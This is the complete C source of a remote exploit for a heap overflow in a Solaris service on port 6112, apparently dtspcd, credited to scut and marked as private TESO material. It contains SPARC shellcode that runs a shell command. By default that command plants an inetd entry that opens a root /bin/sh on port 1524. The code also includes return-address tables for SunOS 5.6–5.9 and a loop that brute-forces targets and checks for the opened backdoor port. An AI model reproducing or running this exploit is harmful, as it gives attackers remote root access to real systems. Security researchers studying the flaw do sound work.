/*
	Remote exploit for Solaris Napalm heap overflow - SPARC version

			By scut@hotmail.com, virtualcat@xfocus.net


 *************** Private copy, __DO NOT__ distribute ************************

               TESO CONFIDENTIAL - SOURCE MATERIALS
  The contents of these coded instructions, statements and computer
  programs may not be disclosed to third parties, copied or duplicated in
  any form, in whole or in part, without the prior written permission of
  TESO Security. This includes especially the Bugtraq mailing list, the
  www.hack.co.za website and any public exploit archive.

  (C) COPYRIGHT TESO Security, 2002
  All Rights Reserved

 ****************************************************************************

    This is unpublished proprietary source code of TESO Security.

    bug found by scut

	Tested on 2.6/7/8.


  tested against: SunOS 5.6
                  SunOS 5.7
                  SunOS 5.8
                  SunOS 5.9

*/


#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;netdb.h&gt;

#define	BUFF_LEN	8360
#define PORT		6112

#define NNOP		2048

extern char *optarg;

char NOP_bna[] = "\xa2\x1c\x40\x11\x20\xbf\xff\xff";
char NOP[] = "\xa2\x1c\x40\x11";

/* Working "ksh -c " shellcode for Napalm  */
char shellcode[]=
        "\x20\xbf\xff\xff"      // bn,a &lt;shellcode-4&gt;
        "\x20\xbf\xff\xff"      // bn,a &lt;shellcode&gt;
        "\x7f\xff\xff\xff"      // call &lt;shellcode+4&gt;
        "\x92\x03\xe0\x50"      // add  %o7, 0x50, %o1
        "\x90\x02\x60\x10"      // add  %o1, 0x10, %o0
        "\x20\xbf\xff\xff"      // bn,a
        "\xff\xff\xff\xff"      // Leave space for t_p
        "\xe0\x02\x3f\xf0"      // ld  [ %o0 + -16 ], %l0
        "\xa2\x80\x3f\xff"      // addcc  %g0, -1, %l1
        "\xa0\x24\x40\x10"      // sub  %l1, %l0, %l0
        "\xd0\x22\x3f\xf0"      // st  %o0, [ %o0 + -16 ]
        "\xc0\x22\x3f\xfb"      // clr  [ %o0 + -4 ]
        "\xa2\x02\x20\x09"      // add  %o0, 9, %l1
        "\xc0\x2c\x7f\xff"      // clrb  [ %l1 + -1 ]
        "\xe2\x23\x3f\xf4"      // st  %l1, [ %o0 + -12 ]
        "\xa2\x04\x60\x03"      // add  %l1, 3, %l1
        "\xc0\x2c\x7f\xff"      // clrb  [ %l1 + -1 ]
        "\xe2\x22\x3f\xf9"      // st  %l1, [ %o0 + -8 ]
        "\xa2\x04\x40\x10"      // add  %l1, %l0, %l1
        "\xc0\x2c\x7f\xff"      // clrb  [ %l1 + -1 ]
        "\x82\x10\x20\x0b"      // mov  0xb, %g1
        "\x91\xd0\x20\x08"      // ta  8
        "\xff\xff\xff\xff"      // Need to put negation of the length of the cmd + 1 here
        "\x22\x22\x22\x22"
        "\x33\x33\x33\x33"
        "\x44\x44\x44\x44"
        "\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x20\x2d\x63\x20";

typedef struct {
	unsigned int retAddr;	// shellcode's entry point
	unsigned int retLoc;	// location to be overwritten
	char desc[32];		// Description
} Magic;


#define NUM_PLATFORM 4
Magic sysMagic[NUM_PLATFORM] = { 	{ 0x0002c5e8, 0xffbef97c, "Solaris 5.6"
},
					{ 0x0002ca30, 0xffbefa4c, "Solaris 5.7" },
				 	{ 0x0002cd15, 0xeffebaec, "Solaris 5.8" },
                    { 0x0002ce50, 0xffefbaec, "Solaris 5.9" },

				};

char dummyBlock[48];

char cmd[] = 	"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\"&gt;/tmp/.x;"
		"/usr/sbin/inetd -s /tmp/.x;/bin/rm -f /tmp/.x";

void  usage(char* argv0)
{
	printf("usage: %s -h host (-t 0|1|2|3) (-d default) (-?)\n", argv0);
}

void help(char* argv0)
{
	usage(argv0);
	printf("\twhere\n");
	printf("\t  h - Host name or ip\n");
	printf("\t  t - System id. default is Solaris 8\n");
	printf("\t\t\t0 SunOS 5.6 SPARC\n");
	printf("\t\t\t1 SunOS 5.7 SPARC\n");
	printf("\t\t\t2 SunOS 5.8 SPARC\n");
    printf("\t\t\t3 SunOS 5.9 SPARC\n");
	printf("\t  c - User supplied command(s) eg \"touch /tmp/AAA\", \"rm /core;rm /tmp/AAA\", etc.\n");
	printf("\t      Default is openning a shell at port 1524 on the victim\n");
	printf("\t  o - +/- offset from the default overwritten location\n");
	printf("\t  n - Number of hits\n");
	printf("\t      Default is 1\n");
	printf("\t      Negative or zero means 1024 hits\n");
	printf("\t      Address increasement is 4 - Increasing from the default location or the given offset\n");
	printf("\t  a - Adjustment. Default is 0, if default doesn't work, 4 should work \n");
	printf("\t  ? - This help\n\n");
	printf("\t  By scut@hotmail.com \n\n");
	printf("\t  Sett. 2002\n\n");
}

int main(int argc, char** argv)
{
	struct	sockaddr_in targetAddr;
	struct	hostent* host;
	char	buffer[BUFF_LEN+1];
	char*	cmdPtr = NULL;
	int	cmdLen = 0;
	int	shellCodeLen = 0;
	int	offset = 0;
	int	fire = 1;
	int	userCmd = 0;
	int	system = 0;
	int	adj = 0;
	char	ch;
	int	sockfd;
	int	bytes;
	int	i;

	int	port = PORT;
	char*	hostName = NULL;
	int	nHits = 1;
	unsigned int retLoc = 0;
	unsigned int retAddr = 0;

	cmdPtr = cmd;

	while((ch = getopt(argc, argv, "h:p:c:o:t:n:a:?")) != EOF)
	{
		switch(ch)
		{
			case 'h':
				hostName = optarg;
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'c':
				cmdPtr = optarg;
				userCmd = 1;
				break;
			case 'o':
				offset = atoi(optarg);
				offset = ((offset % 4) == 0 ? offset : offset + (4 - (offset % 4)));
				break;
			case 't':
				system = atoi(optarg);
				if(system &lt; 0 || system &gt; NUM_PLATFORM)
				{
					help(argv[0]);
					exit(0);
				}
				break;
			case 'n':
				nHits = atoi(optarg);
				if(nHits &lt;= 0)
				{
					nHits = 1024;
				}
				break;
			case 'a':
				adj = atoi(optarg);
				adj = ((adj % 4) == 0 ? adj : adj + (4 - (adj % 4)));
				break;
			case '?':
				help(argv[0]);
				exit(0);
			default:
				usage(argv[0]);
				exit(0);
		}
	}

	if(hostName == NULL)
	{
		usage(argv[0]);
		exit(0);
	}

	host = gethostbyname(hostName);
	if (host == NULL)
	{
		perror("gethostbyname() failed");
		exit(0);
	}

	targetAddr.sin_addr = *(struct in_addr *)host-&gt;h_addr;
	targetAddr.sin_family = AF_INET;

	strcpy(buffer, "AAAAAAAAAA20942094XX");

	memset(buffer+20, 'A', BUFF_LEN-20);

        buffer[4096+20] = 0x00;
        buffer[4096+20+1] = 0x00;
        buffer[4096+20+2] = 0x20;
        buffer[4096+20+3] = 0x94;

	// The tricky bit
        buffer[4096+20+12] = 0x00;
        buffer[4096+20+12+1] = 0x00;
        buffer[4096+20+12+2] = 0x10;
        buffer[4096+20+12+3] = 0x50;

	for(i=0; i &lt; NNOP; i+=8)
	{
		memcpy(&amp;buffer[32+i], NOP_bna, 8);
	}

	memcpy(&amp;buffer[32+NNOP-4], NOP, 4);

	for(i=0; i &lt; strlen(shellcode); i++)
	{
		buffer[32+NNOP+i] = shellcode[i];
	}

	cmdLen = ~(strlen(cmdPtr)+1);

	buffer[32+NNOP+88] = (char) ((0xff000000 &amp; cmdLen) &gt;&gt; 24);
	buffer[32+NNOP+88+1] = (char) ((0x00ff0000 &amp; cmdLen) &gt;&gt; 16);
	buffer[32+NNOP+88+2] = (char) ((0x0000ff00 &amp; cmdLen) &gt;&gt; 8);
	buffer[32+NNOP+88+3] = (char) (0x0000000ff &amp;cmdLen );

	shellCodeLen = strlen(shellcode);

	for(i=0; i &lt; strlen(cmdPtr); i++)
	{
		buffer[32+NNOP+shellCodeLen+i] = *(cmdPtr+i);
	}

	memset(dummyBlock, 0xff, 48);

	// t_s
	dummyBlock[3] = 0xf8;

	retAddr = sysMagic[system].retAddr + NNOP/2 + adj;

	// t_p
        dummyBlock[8] = (char) ((0xff000000 &amp; retAddr) &gt;&gt; 24);
        dummyBlock[9] = (char) ((0x00ff0000 &amp; retAddr) &gt;&gt; 16);
        dummyBlock[10] = (char) ((0x0000ff00 &amp; retAddr) &gt;&gt; 8);
        dummyBlock[11] = (char) (0x000000ff &amp; retAddr);

	if(userCmd)
	{
		printf("Exploit: User command=\"%s\"\n", cmdPtr);
	}
	else
	{
		printf("Exploit: Open a shell on %s at port 1524 as default.\n", 
hostName);
	}

	i = 0;
	retLoc = sysMagic[system].retLoc + offset;

	while(fire)
	{
		// Check whether port 1524 is opening
		if(!userCmd)
		{
			sockfd = socket(AF_INET, SOCK_STREAM, 0);
			if (sockfd == -1)
			{
				perror("socket() failed\n");
				exit(0);
			}
			targetAddr.sin_port = htons(1524);
			if( (connect(sockfd, (struct sockaddr *) &amp;targetAddr, sizeof(targetAddr))) == 0)
			{
				if(i == 0)
				{
					printf("%s port 1524 has already oppened.\n", hostName);
				}
				else
				{
					printf("\n*** 'Open! Open! ...', 'Sesame! Sesame! ...' - Succeeded!!!  ***\n");
					printf("host %s port 1524 has been opened. Telnet to 1524, be  careful!\n", hostName);
				}
				fire = 0;
			}
			else
			{
				if(i != 0)
				{
					printf("### Failed. ###\n\n");
				}
			}
			close(sockfd);
		}

		if(i &gt; ((nHits-1)*4))
		{
			fire = 0;
		}

		// Try to shoot
		if(fire)
		{
			sockfd = socket(AF_INET, SOCK_STREAM, 0);
			targetAddr.sin_port = htons(port);
			if (connect(sockfd, (struct sockaddr *) &amp;targetAddr, sizeof(targetAddr)) == -1)
			{
				perror("couldn't connect to the server");
				exit(0);
			}

			// t_n
			dummyBlock[32] = (char) ((0xff000000 &amp; retLoc) &gt;&gt; 24);
			dummyBlock[33] = (char) ((0x00ff0000 &amp; retLoc) &gt;&gt; 16);
			dummyBlock[34] = (char) ((0x0000ff00 &amp; retLoc) &gt;&gt; 8);
			dummyBlock[35] = (char) (0x000000ff &amp; retLoc) ;

			memcpy(buffer+4096+20+12+4128+8+48, dummyBlock, 48);

			printf("================================ Hit %d ================================\n", i/4+1);
			printf("Trying %s - %s SPARC, nHits=%d\n", hostName, sysMagic[system].desc, nHits);
			printf("Loc=0x%.8x Addr=0x%.8x Offset=0x%x Adjusted Loc=0x%.8x\n", sysMagic[system].retLoc, sysMagic[system].retAddr, offset, retLoc);
			bytes = send(sockfd, buffer, BUFF_LEN, 0);
			close(sockfd);

			sleep(2);

			retLoc += 4;
			i += 4;
		}
	}
}
/* End of File */
</PRE></BODY></HTML>

